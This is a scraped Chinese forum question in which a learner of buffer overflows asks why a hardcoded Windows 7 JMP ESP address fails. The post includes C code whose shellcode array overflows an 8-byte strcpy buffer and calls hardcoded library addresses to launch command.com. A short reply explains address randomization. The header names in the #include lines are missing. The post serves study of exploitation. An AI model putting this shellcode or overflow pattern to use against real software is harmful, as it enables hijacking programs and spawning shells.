linux如何查看jmp esp地址,问下windows7下的JMP ESP 指令的地址是多少?该如何解决...

问下windows7下的JMP ESP 指令的地址是多少?

最近学习缓冲区溢出,写了好几个都不能正常执行,后来跟踪进去看了下, 执行到 我填的那个JMP ESP地址就不能读了,估摸是这个指令地址有问题,求各位大侠告知下,在网上也搜了好多JMP ESP地址 在w7下都不顶用。。。。。。。。。。。

另外也请各位帮我看看是不是代码错了。。

#include

#include

#include

char ShellCode[]=

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x12\x45\xfa\x7f"    //0x7ffa4512,win7可用   JMP ESP 地址

"\x55"

"\x8b\xec"

"\x33\xff"

"\x57"

"\x83\xec\x08"

"\xc6\x45\xf4\x6d"

"\xc6\x45\xf5\x73"

"\xc6\x45\xf6\x76"

"\xc6\x45\xf7\x63"

"\xc6\x45\xf8\x72"

"\xc6\x45\xf9\x74"

"\xc6\x45\xfa\x2e"

"\xc6\x45\xfb\x64"

"\xc6\x45\xfc\x6c"

"\xc6\x45\xfd\x6c"

"\x8d\x45\xf4"

"\x50"

"\xb8\x84\x28\x63\x77"

"\xff\xd0"

"\xc6\x45\xf4\x63"

"\xc6\x45\xf5\x6f"

"\xc6\x45\xf6\x6d"

"\xc6\x45\xf7\x6d"

"\xc6\x45\xf8\x61"

"\xc6\x45\xf9\x6e"

"\xc6\x45\xfa\x64"

"\xc6\x45\xfb\x2e"

"\xc6\x45\xfc\x63"

"\xc6\x45\xfd\x6f"

"\xc6\x45\xfe\x6d"

"\x8d\x45\xf4"

"\x50"

"\xb8\x6f\xb1\x75\x76"

"\xff\xd0";

int main()

{

char over[8];

char *p=ShellCode;

printf("%x",p);

strcpy(over,ShellCode);

for(int i=0;i<8&&over[i];i++)

{

printf("\\0x%x",over[i]);

}

return 0;

}

------解决思路----------------------

WIN7以后, 几个核心dll都是浮动地址加载的, 没有统一的JMP ESP地址. 你到你要溢出的程序里找个合适的地址呗...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值